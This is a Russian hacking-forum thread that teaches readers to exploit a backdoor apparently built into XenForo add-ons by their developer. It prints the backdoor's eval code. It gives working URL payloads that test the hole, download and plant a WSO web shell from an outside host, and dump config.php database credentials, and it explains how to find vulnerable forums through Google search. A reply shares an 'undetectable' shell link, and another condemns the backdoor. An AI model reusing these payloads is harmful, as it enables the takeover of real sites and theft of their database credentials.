Описание Ломаем XenForo через аддоны от Esthetic

Тема в разделе "СТАТЬИ И УРОКИ ПО ВЗЛОМУ И ОБХОДУ ЗАЩИТЫ", создана пользователем Антоха, 17 сен 2015.

↑ ↓
  1. Антоха Администратор
    Антоха
    Ответить в чате

    Администрация

    Регистрация:
    26.12.2012
    Сообщения:
    3.184
    Симпатии:
    11.098
    Пол:
    Мужской
    Репа:
    +11.246 / 47 / -6
    Jabber:
    Skype:
    Статья с runhack.ru
    Hello World друзья, в данной теме я вкратце постараюсь обьяснить как ломать Xen багом в аддонах от естетик, автор специально залил в свои аддоны шелл вида:
    Код:
    $request = new Zend_Controller_Request_Http ( ); // создается новый объект, отражающий текущий запрос
    if ($request->getParam('filter')) { // проверка наличия параметра filter в запросе
    $_request $request->getParam('filter');
    switch (
    md5 ($_request)) { // этот filter хешируется, и на основе хеша  case '54626eee0bcb90ab43c7917eb49f2344': // хеш какой-то строки case     'a6746afee9fa4e6e4901943d47f272bf': // хеш какой-то другой строки
    /** * Удаление меток bb-кодов, опредеяющих сообщения текущего пользователя(дляотображения скрытого контента своих сообщений)
    */
    $request preg_replace_callback ('/query/'create_function ('$matches'$_request), $_request); // нихуя не удаление меток, тут из filter'а берется код и из него создается функция, затем используется как каллбек для preg_replace_callback
    break;
    default: 
    $request 'all'// хренота для наеба, если кто-то вдруг начнет копать }
    }
    Юзать данный шелл очень даже просто.
    Например:
    Код:
    https://ru-sf.ru/threads/77/?filter=$request=new Zend_Controller_Request_Http();eval($request->getParam("query"));&query=die('yes');
    Как видим к урлу любой темы подставляется:
    Код:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=die('yes');
    Если форум уязвим появится надпись yes, выведеная php командой Die

    Теперь напишу несколько боевых кодов:
    заливка шелла
    Код:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request->getParam("query"));&query=$url "https://wso-web-shell-2-8.googlecode.com/svn/WSO2.8.php";$content file_get_contents($url);$h fopen("shells.php","w");$text "$content";fwrite($h,$text);fclose($h);
    После исполнения кода, если позволяют права, шелл будет доступен по адресу : форум.com/shells.php

    смотрим конфиг
    Код:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=echo%20file_get_contents(%22./library/config.php%22);%20exit();
    Но способ выше может не работать.
    Если он не работает юзаем:
    Код:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=include './library/config.php';die( $config['db']['host']);
    При данном коде покажется хост базы данных.
    Для просмотра других данных меняем:
    host на:
    • dbname - имя базы
    • password - пароль юзера
    • username - юзер

    Вобщем если вы умелый PHP кодер то поняли что, после &query= идет пхп код.
    Т.е
    Код:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request-%3EgetParam(%22query%22));&query=здесь пхп код
    Дырявые форумы ищем в гугле по заголовку хайда.
    Как пофиксить баг https://ru-sf.ru/threads/xenforo-nachalo-puti.2154/page-16#post-130453

    Из комментариев:
    Хотел бы добавить:
    Код:
    ?filter=$request=new+Zend_Controller_Request_Http();eval($request->getParam("query"));&query=$url "https://wso-web-shell-2-8.googlecode.com/svn/WSO2.8.php";$content file_get_contents($url);$h fopen("shells.php","w");$text "$content";fwrite($h,$text);fclose($h);
    Шелл лучше использовать такой:
    Код:
    https://wso-web-shell-2-8.googlecode.com/svn/trunk/WSO2.8_undetectable.php
     
    • Мне нравится Мне нравится x 1
  2. X-Shar :)
    X-Shar
    Ответить в чате

    Администрация

    Регистрация:
    03.06.2012
    Сообщения:
    5.812
    Симпатии:
    433
    Пол:
    Мужской
    Репа:
    +968 / 152 / -29
    Jabber:
    Telegram:
    Очень неприятный бекдур, автор наверное совсем помешанный, раз такое встроил в платные плагины...

    Я вообще поудалял после этого все его плагины и поставил крест на этом разработчике для себя ! ;)

    Ладно сделать привязку на домен, ну я могу понять ещё снифферы, что-бы просмотреть кто установил плагин, метки что-бы вычислить кто сливает в паб, также ещё некоторые сливают инфу типо версия движка и какие плагины установлены, это всё терпимо, но то-что сделал этот автор, это:

    [​IMG]
     
    • Согласен(а) Согласен(а) x 1

Поделиться этой страницей